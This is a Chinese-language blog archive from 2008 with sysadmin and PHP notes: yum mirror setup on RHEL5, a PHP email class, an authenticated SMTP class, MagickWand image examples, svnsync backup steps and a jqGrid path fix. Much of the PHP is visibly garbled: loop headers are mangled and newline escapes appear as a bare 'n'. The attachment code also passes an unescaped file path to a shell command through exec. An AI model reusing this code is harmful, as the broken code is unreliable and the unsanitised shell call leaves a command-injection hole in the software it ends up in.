设置Apache的路径,这里保持默认,选择OK进入下一步。

10.安装webmin以方便服务器之间的管理
[root@www zhaoyong]# rpm -ivh webmin-1.410-1.noarch.rpm
安装完毕后在浏览器上用http://服务器地址:10000
进行测试 想要支持中文的在configure里面选择

RHEL AS5 通过yum update自动升级

通过 http://mirror-status.centos.org 网站查找离自己最近的镜像站点,替换下面文件中的相应地址:

1.修改 /etc/yum.repos.d/rhel-debuginfo.repo 为如下内容:

[base]
name=Red Hat Enterprise Linux $releasever -Base
baseurl=http://mirror.be10.com/centos/5.0/os/$basearch/
gpgcheck=1
[update]
name=Red Hat Enterprise Linux $releasever -Updates
baseurl=http://mirror.be10.com/centos/5.0/updates/$basearch/
gpgcheck=1
[extras]
name=Red Hat Enterprise Linux $releasever -Extras
baseurl=http://mirror.be10.com/centos/5.0/extras/$basearch/
gpgcheck=1
[addons]
name=Red Hat Enterprise Linux $releasever -Addons
baseurl=http://mirror.be10.com/centos/5.0/addons/$basearch/
gpgcheck=1

2.下载并导入KEY

cd /etc/pki/rpm-gpg
wget http://mirror.be10.com/centos/RPM-GPG-KEY-CentOS-5
rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY*

3. yum指令
注:当第一次使用yum或yum资源库有更新时,yum会自动下载所有所需的headers放置于/var/cache/yum目录下,所需时间可能较长.
rpm包的更新
* 检查可更新的rpm包
#yum check-update
* 更新所有的rpm包
#yum update
* 更新指定的rpm包,如更新kernel和kernel source
#yum update kernel kernel-source
* 大规模的版本升级,与yum update不同的是,连旧的淘汰的包也升级
#yum upgrade
rpm包的安装和删除
* 安装rpm包,如xmms-mp3
#yum install xmms-mp3
* 删除rpm包,包括与该包有倚赖性的包
#yum remove licq
* 注:同时会提示删除licq-gnome,licq-qt,licq-text
yum暂存(/var/cache/yum/)的相关参数
* 清除暂存中rpm包文件
#yum clean packages
* 清除暂存中rpm头文件
#yum clearn headers
* 清除暂存中旧的rpm头文件
#yum clean oldheaders
* 清除暂存中旧的rpm头文件和包文件
#yum clearn 或#yum clearn all
* 注:相当于yum clean packages + yum clean oldheaders
包列表
* 列出资源库中所有可以安装或更新的rpm包
#yum list
* 列出资源库中特定的可以安装或更新以及已经安装的rpm包
#yum list mozilla
#yum list mozilla*
* 注:可以在rpm包名中使用匹配符,如列出所有以mozilla开头的rpm包
* 列出资源库中所有可以更新的rpm包
#yum list updates
* 列出已经安装的所有的rpm包
#yum list installed
* 列出已经安装的但是不包含在资源库中的rpm包
#yum list extras
* 注:通过其它网站下载安装的rpm包
rpm包信息显示(info参数同list)
* 列出资源库中所有可以安装或更新的rpm包的信息
#yum info
* 列出资源库中特定的可以安装或更新以及已经安装的rpm包的信息
#yum info mozilla
#yum info mozilla*
* 注:可以在rpm包名中使用匹配符,如列出所有以mozilla开头的rpm包的信息
* 列出资源库中所有可以更新的rpm包的信息
#yum info updates
* 列出已经安装的所有的rpm包的信息
#yum info installed
* 列出已经安装的但是不包含在资源库中的rpm包的信息
#yum info extras
* 注:通过其它网站下载安装的rpm包的信息
搜索rpm包
* 搜索匹配特定字符的rpm包
#yum search mozilla
* 注:在rpm包名,包描述等中搜索
* 搜索有包含特定文件名的rpm包
#yum provides realplay
五. 增加资源库
* 例如:增加rpm.livna.org作为资源库
* 安装Livna.org rpms GPG key
#rpm –import http://rpm.livna.org/RPM-LIVNA-GPG-KEY
* 检查GPG Key
# rpm -qa gpg-pubkey*
* 显示Key信息
#rpm -qi gpg-pubkey-a109b1ec-3f6e28d5
* (注:如果要删除Key,使用#rpm -e gpg-pubkey-a109b1ec-3f6e28d5)

2008年4月15日星期二

UTF-8中文字符串准确的求长度函数mb_strwidth

echo mb_strwidth("士大夫", 'UTF8');

功能齐全的发送PHP邮件类

PHP--下面这个类的功能则很强大,不但能发html格式的邮件,还可以发附件
class Email {
//---设置全局变量
var $mailTo = ""; // 收件人
var $mailCC = ""; // 抄送
var $mailBCC = ""; // 秘密抄送
var $mailFrom = ""; // 发件人
var $mailSubject = ""; // 主题
var $mailText = ""; // 文本格式的信件主体
var $mailHTML = ""; // html格式的信件主体
var $mailAttachments = ""; // 附件
/* 函数setTo($inAddress) :用于处理邮件的地址 参数 $inAddress
为包涵一个或多个字串,email地址变量,使用逗号来分割多个邮件地址
默认返回值为true
**********************************************************/
function setTo($inAddress){
//--用explode()函数根据”,”对邮件地址进行分割
$addressArray = explode( ",",$inAddress);
//--通过循环对邮件地址的合法性进行检查
for($i=0;$icheckEmail($addressArray[$i])==false) return false; }
//--所有合法的email地址存入数组中
$this->mailTo = implode($addressArray, ",");
return true; }
/**************************************************
函数 setCC($inAddress) 设置抄送人邮件地址
参数 $inAddress 为包涵一个或多个邮件地址的字串,email地址变量,
使用逗号来分割多个邮件地址 默认返回值为true
**************************************************************/
function setCC($inAddress){
//--用explode()函数根据”,”对邮件地址进行分割
$addressArray = explode( ",",$inAddress);
//--通过循环对邮件地址的合法性进行检查
for($i=0;$icheckEmail($addressArray[$i])==false) return false; }
//--所有合法的email地址存入数组中
$this->mailCC = implode($addressArray, ",");
return true; }
/***************************************************
函数setBCC($inAddress) 设置秘密抄送地址 参数 $inAddress 为包涵一个或多
个邮件地址的字串,email地址变量,使用逗号来分割多个邮件地址 默认返回值为
true
******************************************/
function setBCC($inAddress){
//--用explode()函数根据”,”对邮件地址进行分割
$addressArray = explode( ",",$inAddress);
//--通过循环对邮件地址的合法性进行检查
for($i=0;$i{ if($this->checkEmail($addressArray[$i])==false)
return false;
}
//--所有合法的email地址存入数组中
$this->mailBCC = implode($addressArray, ",");
return true;
}
/*****************************************************************
函数setFrom($inAddress):设置发件人地址 参数 $inAddress 为包涵邮件
地址的字串默认返回值为true
***************************************/
function setFrom($inAddress){
if($this->checkEmail($inAddress)){
$this->mailFrom = $inAddress;
return true;
} return false; }
/**********************
函数 setSubject($inSubject) 用于设置邮件主题参数$inSubject为字串,
默认返回的是true
*******************************************/
function setSubject($inSubject){
if(strlen(trim($inSubject)) > 0){
$this->mailSubject = ereg_replace( "n", "",$inSubject);
return true; }
return false; }
/****************************************************
函数setText($inText) 设置文本格式的邮件主体参数 $inText 为文本内容默
认返回值为true
****************************************/
function setText($inText){
if(strlen(trim($inText)) > 0){
$this->mailText = $inText;
return true; }
return false;
}
/**********************************
函数setHTML($inHTML) 设置html格式的邮件主体参数$inHTML为html格式,
默认返回值为true
************************************/
function setHTML($inHTML){
if(strlen(trim($inHTML)) > 0){
$this->mailHTML = $inHTML;
return true; }
return false; }
/**********************
函数 setAttachments($inAttachments) 设置邮件的附件 参数$inAttachments
为一个包涵目录的字串,也可以包涵多个文件用逗号进行分割 默认返回值为true
*******************************************/
function setAttachments($inAttachments){
if(strlen(trim($inAttachments)) > 0){
$this->mailAttachments = $inAttachments;
return true; }
return false; }
/*********************************
函数 checkEmail($inAddress) :这个函数我们前面已经调用过了,主要就是
用于检查email地址的合法性
*****************************************/
function checkEmail($inAddress){
return (ereg( "^[^@ ]+@([a-zA-Z0-9-]+.)+([a-zA-Z0-9-]{2}|net|com|gov|mil|org|edu|int)$",$inAddress));
}
/*************************************************
函数loadTemplate($inFileLocation,$inHash,$inFormat) 读取临时文件并且
替换无用的信息参数$inFileLocation用于定位文件的目录
$inHash 由于存储临时的值 $inFormat 由于放置邮件主体
***********************************************************/
function loadTemplate($inFileLocation,$inHash,$inFormat){
/* 比如邮件内有如下内容: Dear ~!UserName~,
Your address is ~!UserAddress~ */
//--其中”~!”为起始标志”~”为结束标志
$templateDelim = "~";
$templateNameStart = "!";
//--找出这些地方并把他们替换掉
$templateLineOut = ""; //--打开临时文件
if($templateFile = fopen($inFileLocation, "r")){
while(!feof($templateFile)){
$templateLine = fgets($templateFile,1000);
$templateLineArray = explode($templateDelim,$templateLine);
for( $i=0; $i//--寻找起始位置
if(strcspn($templateLineArray[$i],$templateNameStart)==0){
//--替换相应的值
$hashName = substr($templateLineArray[$i],1);
//--替换相应的值
$templateLineArray[$i] = ereg_replace($hashName,(string)$inHash[$hashName],$hashName);
}
}
//--输出字符数组并叠加
$templateLineOut .= implode($templateLineArray, "");
} //--关闭文件fclose($templateFile);
//--设置主体格式(文本或html)
if( strtoupper($inFormat)== "TEXT" )
return($this->setText($templateLineOut));
else if( strtoupper($inFormat)== "HTML" )
return($this->setHTML($templateLineOut));
} return false;
}
/*****************************************
函数 getRandomBoundary($offset) 返回一个随机的边界值
参数 $offset 为整数 – 用于多管道的调用 返回一个md5()编码的字串
****************************************/
function getRandomBoundary($offset = 0){
//--随机数生成
srand(time()+$offset);
//--返回 md5 编码的32位 字符长度的字串
return ( "----".(md5(rand()))); }
/********************************************
函数: getContentType($inFileName)用于判断附件的类型
**********************************************/
function getContentType($inFileName){
//--去除路径
$inFileName = basename($inFileName);
//--去除没有扩展名的文件
if(strrchr($inFileName, ".") == false){
return "application/octet-stream";
}
//--提区扩展名并进行判断
$extension = strrchr($inFileName, ".");
switch($extension){
case ".gif": return "image/gif";
case ".gz": return "application/x-gzip";
case ".htm": return "text/html";
case ".html": return "text/html";
case ".jpg": return "image/jpeg";
case ".tar": return "application/x-tar";
case ".txt": return "text/plain";
case ".zip": return "application/zip";
default: return "application/octet-stream";
}
return "application/octet-stream";
}
/**********************************************
函数formatTextHeader把文本内容加上text的文件头
*****************************************************/
function formatTextHeader(){ $outTextHeader = "";
$outTextHeader .= "Content-Type: text/plain;
charset=us-asciin";
$outTextHeader .= "Content-Transfer-Encoding: 7bitnn";
$outTextHeader .= $this->mailText. "n";
return $outTextHeader;
} /************************************************
函数formatHTMLHeader()把邮件主体内容加上html的文件头
******************************************/
function formatHTMLHeader(){
$outHTMLHeader = "";
$outHTMLHeader .= "Content-Type: text/html;
charset=us-asciin";
$outHTMLHeader .= "Content-Transfer-Encoding: 7bitnn";
$outHTMLHeader .= $this->mailHTML. "n";
return $outHTMLHeader;
}
/**********************************
函数 formatAttachmentHeader($inFileLocation) 把邮件中的附件标识出来
********************************/
function formatAttachmentHeader($inFileLocation){
$outAttachmentHeader = "";
//--用上面的函数getContentType($inFileLocation)得出附件类型
$contentType = $this->getContentType($inFileLocation);
//--如果附件是文本型则用标准的7位编码
if(ereg( "text",$contentType)){
$outAttachmentHeader .= "Content-Type: ".$contentType. ";n";
$outAttachmentHeader .= ' name="'.basename($inFileLocation). '"'. "n";
$outAttachmentHeader .= "Content-Transfer-Encoding: 7bitn";
$outAttachmentHeader .= "Content-Disposition: attachment;n";
$outAttachmentHeader .= ' filename="'.basename($inFileLocation). '"'. "nn";
$textFile = fopen($inFileLocation, "r");
while(!feof($textFile)){
$outAttachmentHeader .= fgets($textFile,1000);
}
//--关闭文件 fclose($textFile);
$outAttachmentHeader .= "n";
}
//--非文本格式则用64位进行编码
else{ $outAttachmentHeader .= "Content-Type: ".$contentType. ";n";
$outAttachmentHeader .= ' name="'.basename($inFileLocation). '"'. "n";
$outAttachmentHeader .= "Content-Transfer-Encoding: base64n";
$outAttachmentHeader .= "Content-Disposition: attachment;n";
$outAttachmentHeader .= ' filename="'.basename($inFileLocation). '"'. "nn";
//--调用外部命令uuencode进行编码
exec( "uuencode -m $inFileLocation nothing_out",$returnArray);
for ($i = 1; $i<(count($returnArray)); $i++){
$outAttachmentHeader .= $returnArray[$i]. "n";
}
} return $outAttachmentHeader;
}
/******************************
函数 send()用于发送邮件,发送成功返回值为true
************************************/
function send(){
//--设置邮件头为空
$mailHeader = "";
//--添加抄送人
if($this->mailCC != "")
$mailHeader .= "CC: ".$this->mailCC. "n";
//--添加秘密抄送人
if($this->mailBCC != "")
$mailHeader .= "BCC: ".$this->mailBCC. "n";
//--添加发件人
if($this->mailFrom != "")
$mailHeader .= "FROM: ".$this->mailFrom. "n";
//---------------------------邮件格式------------------------------
//--文本格式
if($this->mailText != "" && $this->mailHTML == "" && $this->mailAttachments == ""){
return mail($this->mailTo,$this->mailSubject,$this->mailText,$mailHeader);
}
//--html或text格式
else if($this->mailText != "" && $this->mailHTML != "" && $this->mailAttachments == ""){
$bodyBoundary = $this->getRandomBoundary();
$textHeader = $this->formatTextHeader();
$htmlHeader = $this->formatHTMLHeader();
//--设置 MIME-版本
$mailHeader .= "MIME-Version: 1.0n";
$mailHeader .= "Content-Type: multipart/alternative;n";
$mailHeader .= ' boundary="'.$bodyBoundary. '"';
$mailHeader .= "nnn";
//--添加邮件主体和边界
$mailHeader .= "--".$bodyBoundary. "n";
$mailHeader .= $textHeader;
$mailHeader .= "--".$bodyBoundary. "n";
//--添加html标签
$mailHeader .= $htmlHeader;
$mailHeader .= "n--".$bodyBoundary. "--";
//--发送邮件
return mail($this->mailTo,$this->mailSubject, "",$mailHeader);
}
//--文本加html加附件
else if($this->mailText != "" && $this->mailHTML != "" && $this->mailAttachments != ""){
$attachmentBoundary = $this->getRandomBoundary();
$mailHeader .= "Content-Type: multipart/mixed;n";
$mailHeader .= ' boundary="'.$attachmentBoundary. '"'. "nn";
$mailHeader .= "This is a multi-part message in MIME format.n";
$mailHeader .= "--".$attachmentBoundary. "n";
$bodyBoundary = $this->getRandomBoundary(1);
$textHeader = $this->formatTextHeader();
$htmlHeader = $this->formatHTMLHeader();
$mailHeader .= "MIME-Version: 1.0n";
$mailHeader .= "Content-Type: multipart/alternative;n";
$mailHeader .= ' boundary="'.$bodyBoundary. '"';
$mailHeader .= "nnn";
$mailHeader .= "--".$bodyBoundary. "n";
$mailHeader .= $textHeader;
$mailHeader .= "--".$bodyBoundary. "n";
$mailHeader .= $htmlHeader;
$mailHeader .= "n--".$bodyBoundary. "--";
//--获取附件值
$attachmentArray = explode( ",",$this->mailAttachments);
//--根据附件的个数进行循环
for($i=0;$i//--分割 $mailHeader .= "n--".$attachmentBoundary. "n";
//--附件信息
$mailHeader .= $this->formatAttachmentHeader($attachmentArray[$i]);
}
$mailHeader .= "--".$attachmentBoundary. "--";
return mail($this->mailTo,$this->mailSubject, "",$mailHeader);
}
return false;
}
}
?>


使用方法:
Include “email.class”

$mail->setTo("a@a.com"); //收件人
$mail-> setCC("b@b.com,c@c.com"); //抄送
$mail-> setCC("d@b.com,e@c.com"); //秘密抄送
$mail->setFrom(“f@f.com”);//发件人
$mail->setSubject(“主题”) ; //主题
$mail->setText(“文本格式”) ;//发送文本格式也可以是变量
$mail->setHTML(“html格式”) ;//发送html格式也可以是变量
$mail->setAttachments(“c:a.jpg”) ;//添加附件,需表明路径
$mail->send(); //发送邮件
?>

PHP的一个完整SMTP类(解决邮件服务器需要验证时的问题)

smtp.php

class smtp

{

/* Public Variables */

var $smtp_port;

var $time_out;

var $host_name;

var $log_file;

var $relay_host;

var $debug;

var $auth;

var $user;

var $pass;

/* Private Variables */
var $sock;

/* Constractor */

function smtp($relay_host = "", $smtp_port = 25,$auth = false,$user,$pass)

{

$this->debug = FALSE;

$this->smtp_port = $smtp_port;

$this->relay_host = $relay_host;

$this->time_out = 30; //is used in fsockopen()
#

$this->auth = $auth;//auth

$this->user = $user;

$this->pass = $pass;

#

$this->host_name = "localhost"; //is used in HELO command
$this->log_file = "";



$this->sock = FALSE;

}

/* Main Function */

function sendmail($to, $from, $subject = "", $body = "", $mailtype, $cc = "", $bcc = "", $additional_headers = "")

{

$mail_from = $this->get_address($this->strip_comment($from));

$body = ereg_replace("(^|(\r\n))(\.)", "\1.\3", $body);

$header .= "MIME-Version:1.0\r\n";

if($mailtype=="HTML"){

$header .= "Content-Type:text/html\r\n";

}

$header .= "To: ".$to."\r\n";

if ($cc != "") {

$header .= "Cc: ".$cc."\r\n";

}

$header .= "From: $from<".$from.">\r\n";

$header .= "Subject: ".$subject."\r\n";

$header .= $additional_headers;

$header .= "Date: ".date("r")."\r\n";

$header .= "X-Mailer:By Redhat (PHP/".phpversion().")\r\n";

list($msec, $sec) = explode(" ", microtime());

$header .= "Message-ID: <".date("YmdHis", $sec).".".($msec*1000000).".".$mail_from.">\r\n";

$TO = explode(",", $this->strip_comment($to));

if ($cc != "") {

$TO = array_merge($TO, explode(",", $this->strip_comment($cc)));

}

if ($bcc != "") {

$TO = array_merge($TO, explode(",", $this->strip_comment($bcc)));

}

$sent = TRUE;

foreach ($TO as $rcpt_to) {

$rcpt_to = $this->get_address($rcpt_to);

if (!$this->smtp_sockopen($rcpt_to)) {

$this->log_write("Error: Cannot send email to ".$rcpt_to."\n");

$sent = FALSE;

continue;

}

if ($this->smtp_send($this->host_name, $mail_from, $rcpt_to, $header, $body)) {

$this->log_write("E-mail has been sent to <".$rcpt_to.">\n");

} else {

$this->log_write("Error: Cannot send email to <".$rcpt_to.">\n");

$sent = FALSE;

}

fclose($this->sock);

$this->log_write("Disconnected from remote host\n");

}

return $sent;

}



/* Private Functions */



function smtp_send($helo, $from, $to, $header, $body = "")

{

if (!$this->smtp_putcmd("HELO", $helo)) {

return $this->smtp_error("sending HELO command");

}

#auth

if($this->auth){

if (!$this->smtp_putcmd("AUTH LOGIN", base64_encode($this->user))) {

return $this->smtp_error("sending HELO command");

}

if (!$this->smtp_putcmd("", base64_encode($this->pass))) {

return $this->smtp_error("sending HELO command");

}

}

#

if (!$this->smtp_putcmd("MAIL", "FROM:<".$from.">")) {

return $this->smtp_error("sending MAIL FROM command");

}

if (!$this->smtp_putcmd("RCPT", "TO:<".$to.">")) {

return $this->smtp_error("sending RCPT TO command");

}

if (!$this->smtp_putcmd("DATA")) {

return $this->smtp_error("sending DATA command");

}

if (!$this->smtp_message($header, $body)) {

return $this->smtp_error("sending message");

}

if (!$this->smtp_eom()) {

return $this->smtp_error("sending . [EOM]");

}

if (!$this->smtp_putcmd("QUIT")) {

return $this->smtp_error("sending QUIT command");

}

return TRUE;

}

function smtp_sockopen($address)

{

if ($this->relay_host == "") {

return $this->smtp_sockopen_mx($address);

} else {

return $this->smtp_sockopen_relay();

}

}

function smtp_sockopen_relay()

{

$this->log_write("Trying to ".$this->relay_host.":".$this->smtp_port."\n");

$this->sock = @fsockopen($this->relay_host, $this->smtp_port, $errno, $errstr, $this->time_out);

if (!($this->sock && $this->smtp_ok())) {

$this->log_write("Error: Cannot connenct to relay host ".$this->relay_host."\n");

$this->log_write("Error: ".$errstr." (".$errno.")\n");

return FALSE;

}

$this->log_write("Connected to relay host ".$this->relay_host."\n");

return TRUE;;

}



function smtp_sockopen_mx($address)

{

$domain = ereg_replace("^.+@([^@]+)$", "\1", $address);

if (!@getmxrr($domain, $MXHOSTS)) {

$this->log_write("Error: Cannot resolve MX \"".$domain."\"\n");

return FALSE;

}

foreach ($MXHOSTS as $host) {

$this->log_write("Trying to ".$host.":".$this->smtp_port."\n");

$this->sock = @fsockopen($host, $this->smtp_port, $errno, $errstr, $this->time_out);

if (!($this->sock && $this->smtp_ok())) {

$this->log_write("Warning: Cannot connect to mx host ".$host."\n");

$this->log_write("Error: ".$errstr." (".$errno.")\n");

continue;

}

$this->log_write("Connected to mx host ".$host."\n");

return TRUE;

}

$this->log_write("Error: Cannot connect to any mx hosts (".implode(", ", $MXHOSTS).")\n");

return FALSE;

}



function smtp_message($header, $body)

{

fputs($this->sock, $header."\r\n".$body);

$this->smtp_debug("> ".str_replace("\r\n", "\n"."> ", $header."\n> ".$body."\n> "));



return TRUE;

}



function smtp_eom()

{

fputs($this->sock, "\r\n.\r\n");

$this->smtp_debug(". [EOM]\n");



return $this->smtp_ok();

}



function smtp_ok()

{

$response = str_replace("\r\n", "", fgets($this->sock, 512));

$this->smtp_debug($response."\n");



if (!ereg("^[23]", $response)) {

fputs($this->sock, "QUIT\r\n");

fgets($this->sock, 512);

$this->log_write("Error: Remote host returned \"".$response."\"\n");

return FALSE;

}

return TRUE;

}

function smtp_putcmd($cmd, $arg = "")

{

if ($arg != "") {

if($cmd=="") $cmd = $arg;

else $cmd = $cmd." ".$arg;

}

fputs($this->sock, $cmd."\r\n");

$this->smtp_debug("> ".$cmd."\n");

return $this->smtp_ok();

}

function smtp_error($string)

{

$this->log_write("Error: Error occurred while ".$string.".\n");

return FALSE;

}

function log_write($message)

{

$this->smtp_debug($message);

if ($this->log_file == "") {

return TRUE;

}

$message = date("M d H:i:s ").get_current_user()."[".getmypid()."]: ".$message;

if (log_file">!@file_exists($this->log_file) || !($fp = @fopen($this->log_file, "a"))) {

$this->smtp_debug("Warning: Cannot open log file \"".$this->log_file."\"\n");

return FALSE;;

}

flock($fp, LOCK_EX);

fputs($fp, $message);

fclose($fp);


return TRUE;

}


function strip_comment($address)

{

$comment = "\([^()]*\)";

while (ereg($comment, $address)) {

$address = ereg_replace($comment, "", $address);

}


return $address;

}


function get_address($address)

{

$address = ereg_replace("([ \t\r\n])+", "", $address);

$address = ereg_replace("^.*<(.+)>.*$", "\1", $address);

return $address;

}

function smtp_debug($message)

{

if ($this->debug) {

echo $message;

}

}

}

?>

test.php


/*

这是一个测试程序!!!

请按照说明设置好以下的参数,以下是以tom.com的用户为例设置好的.

*/

require("sm.php");

##########################################

$smtpserver = "smtp.tom.com";//SMTP服务器

$smtpserverport =25;//SMTP服务器端口

$smtpusermail = "someone@tom.com";//SMTP服务器的用户邮箱

$smtpemailto = "jack@knowsky.com";//发送给谁

$smtpuser = "someone";//SMTP服务器的用户帐号

$smtppass = "someonepass";//SMTP服务器的用户密码

$mailsubject = "Test Subject";//邮件主题

$mailbody = "

This is a test mail

";//邮件内容

$mailtype = "HTML";//邮件格式(HTML/TXT),TXT为文本邮件

##########################################

$smtp = new smtp($smtpserver,$smtpserverport,true,$smtpuser,$smtppass);//这里面的一个true是表示使用身份验证,否则不使用身份验证.

$smtp->debug = TRUE;//是否显示发送的调试信息

$smtp->sendmail($smtpemailto, $smtpusermail, $mailsubject, $mailbody, $mailtype);

?>

2008年4月14日星期一

imagemagick for php/magcikwand在windows下的安装

首先到imagemagick 网站下载 magickwand 的windows版本。
他有两个版本一个,php_magickwand_dyn.dll 需要你的点上安装imagemagck
php_magickwand_q16_st.dll 已经把 imagemagick 编译进去,推荐使用 php_magickwand_q16_st.dll
下载的网址:
ftp://www.imagemagick.org/pub/ImageMagick/php/windows/
或者http://image_magick.veidrodis.com/image_magick/php/

下载的时候注意你下载的magickwand 支持的php版本,目前是 php-5.2.0的版本


php 版本的过高或者太低,你的magickwand有可能不能正常工作

安装好php之后把 php_magickwand_q16_st.dll 复制到 php 的 ext 目录下面,
(注意 你的 php.ini 中extension_dir 的路径要正确指向到 ext目录)

在 php.ini 中添加 extension=php_magickwand_q16_st.dll 重新启动apache

如果你用 php_magickwand_dyn.dll 你需要先安装 imagemagick的windows最新版本
然后把 php_magickwand_dyn.dll 复制到 php 的 ext 目录下面,
在 php.ini 中添加 php_magickwand_dyn.dll 重新启动apache

查看 phpinfo 如果有显示下面的文字,恭喜你,你已经成功

magickwand
MagickWand Backend Library ImageMagick
MagickWand Extension Version 0.1.8
ImageMagick support enabled
ImageMagick version ImageMagick 6.2.9 09/27/06 Q16 http://www.imagemagick.org
ImageMagick QuantumRange (MaxRGB) 65535
MagickWand supported image formats A, ART, AVI, AVS, B, BIE, BMP, BMP2, BMP3, C, CACHE, CAPTION, CIN, CIP, CLIP, CLIPBOARD, CMYK, CMYKA, CUR, CUT, DCM, DCX, DFONT, DNG, DPS, DPX, EMF, EPDF, EPI, EPS, EPS2, EPS3, EPSF, EPSI, EPT, EPT2, EPT3, FAX, FITS, FRACTAL, G, G3, GIF, GIF87, GRADIENT, GRAY, HISTOGRAM, HTM, HTML, ICB, ICO, ICON, INFO, JBG, JBIG, JNG, JP2, JPC, JPEG, JPG, JPX, K, LABEL, M, M2V, MAP, MAT, MATTE, MIFF, MNG, MONO, MPC, MPEG, MPG, MSL, MTV, MVG, NULL, O, OTB, OTF, P7, PAL, PALM, PAM, PATTERN, PBM, PCD, PCDS, PCL, PCT, PCX, PDB, PDF, PFA, PFB, PGM, PGX, PICON, PICT, PIX, PJPEG, PLASMA, PNG, PNG24, PNG32, PNG8, PNM, PPM, PREVIEW, PS, PS2, PS3, PSD, PTIF, PWP, R, RAS, RGB, RGBA, RGBO, RLA, RLE, SCR, SCT, SFW, SGI, SHTML, STEGANO, SUN, SVG, SVGZ, TEXT, TGA, TIFF, TILE, TIM, TTC, TTF, TXT, UIL, UYVY, VDA, VICAR, VID, VIFF, VST, WBMP, WMF, WMFWIN32, WMZ, WPG, X, XBM, XC, XCF, XPM, XV, XWD, Y, YCbCr, YCbCrA, YUV

MagickWand example:操作GIF图片的例子

压缩图片:


// convert flower.jpg -quality 80% flower_quality.jpg

$resource = NewMagickWand();
MagickReadImage( $resource, ’small_flower.jpg’ );

MagickSetFormat($resource, ‘JPG’);
MagickSetImageCompression($resource, MW_JPEGCompression);
MagickSetImageCompressionQuality($resource, 80.0);

header( ‘Content-Type: image/gif’ );
MagickEchoImageBlob( $resource );

?>
在图片上写文字:


// convert flower.jpg -font courier -fill white -pointsize 20 -annotate +50+50 Flower flower_annotate1.jpg

$resource = NewMagickWand();
$dwand = NewDrawingWand();
$pwand = NewPixelWand();

PixelSetColor($pwand, “white”);
DrawSetFont($dwand, “/usr/share/fonts/default/TrueType/cour.ttf”);//指定字体
DrawSetFontSize($dwand, 20);
DrawSetFillColor($dwand, $pwand);

DrawSetGravity($dwand, MW_SouthGravity);

MagickReadImage( $resource, ’small_flower.jpg’ );

if( MagickAnnotateImage( $resource, $dwand, 0, 0, 0, “Flower” ) )
{
header( ‘Content-Type: image/gif’ );
MagickEchoImageBlob( $resource );
}
else
{
echo MagickGetExceptionString($resource);
}

?>

Crop an AREA:



// convert flower.jpg -crop 128×128+50+50 flower_crop.jpg

$resource = NewMagickWand();

MagickReadImage( $resource, ’small_flower.jpg’ );

if( MagickCropImage( $resource, 128, 128, 50, 50 ) )
{
header( ‘Content-Type: image/gif’ );
MagickEchoImageBlob( $resource );
}
else
{
echo MagickGetExceptionString($resource);
}

?>

旋转图片:


// convert flower.jpg -rotate 45 flower_rotate45.jpg

$resource = NewMagickWand();
MagickReadImage( $resource, ’small_flower.jpg’ );

MagickRotateImage( $resource, null, 45 );

header( ‘Content-Type: image/gif’ );
MagickEchoImageBlob( $resource );

?>

调整大小:


// convert flower_original.jpg -resize 640×480 flower.jpg

$resource = NewMagickWand();
MagickReadImage( $resource, ’small_flower.jpg’ );

MagickResizeImage( $resource, 100, 100, MW_QuadraticFilter, 1.0 );

header( ‘Content-Type: image/gif’ );
MagickEchoImageBlob( $resource );

?>

Apply Resharp Filter:



// convert flower.jpg -unsharp 1.5×1.0+1.5+0.02 flower_unsharp.jpg

$resource = NewMagickWand();
MagickReadImage( $resource, ’small_flower.jpg’ );

MagickUnsharpMaskImage( $resource, 1.5, 1.0, 1.5, 0.02 );

header( ‘Content-Type: image/gif’ );
MagickEchoImageBlob( $resource );

?>

2008年4月4日星期五

svn 进行文件备份

1、在两台电脑A和B上安装cygwin的svn。其中A用作开发,B用作备份。
2、A电脑上创建数据库
-- svnadmin create /cygdrive/d/svndb
3、B电脑上创建数据库
-- svnadmin create /cygdrive/d/svndb
4、B电脑上,修改脚本pre-revprop-change
-- cd /cygdrive/d/svndb
-- cp pre-revprop-change.tmpl pre-revprop-change
-- vi pre-revprop-change
-----------------------------------------
REPOS="$1"
REV="$2"
USER="$3"
PROPNAME="$4"
ACTION="$5"
if [ "$ACTION" = "M" -a "$PROPNAME" = "svn:log" ]; then exit 0; fi
echo "Changing revision properties other than svn:log is prohibited" >&2
exit 1
-----------------------------------------
原脚本的意思是如果修改的是svn:log属性,将允许修改,返回0;否则,不允许,返回1
我们要将它改为允许修改所有的属性,在脚本中直接返回0,新的脚本如下:
-----------------------------------------
exit 0;
-----------------------------------------
5、B电脑上运行SVN服务器
-- svnserve -d -r /cygdrive/d/svndb
6、B电脑上增加SVN服务器的登录用户名和密码
来到/cygdrive/d/svndb/conf目录,修改svnserve.conf:
# [general]
# password-db = passwd
改为:
[general]
password-db = passwd
然后修改同目录的passwd文件,增加用户名和密码:
[users]
# harry = harryssecret
# sally = sallyssecret
最后变成:
[users]
# harry = harryssecret
# sally = sallyssecret
testuser = testpassword
7、A电脑上配置svnsync
-- svnsync init --username=testuser svn://192.168.0.100 file:///cygdrive/d/svndb
-- 按提示输入密码
8、A电脑上运行命令同步数据库
-- svnsync sync --username=richard svn://192.168.0.100
-- 按提示输入密码后,将开始同步。

2008年4月2日星期三

Multi Console

http://sourceforge.net/projects/console/

2008年4月1日星期二

jqGrid 的使用注意

js/jquery.jqGrid.js
需要修改该文件中的
pathtojsfiles
变量

否则会出现jqGrid不能使用的问题。

其根本原因在于装载依赖的js时发生装载错误。
js/min/grid.base-min.js
js/min/grid.formedit-min.js
js/min/grid.inlinedit-min.js
js/min/grid.subgrid-min.js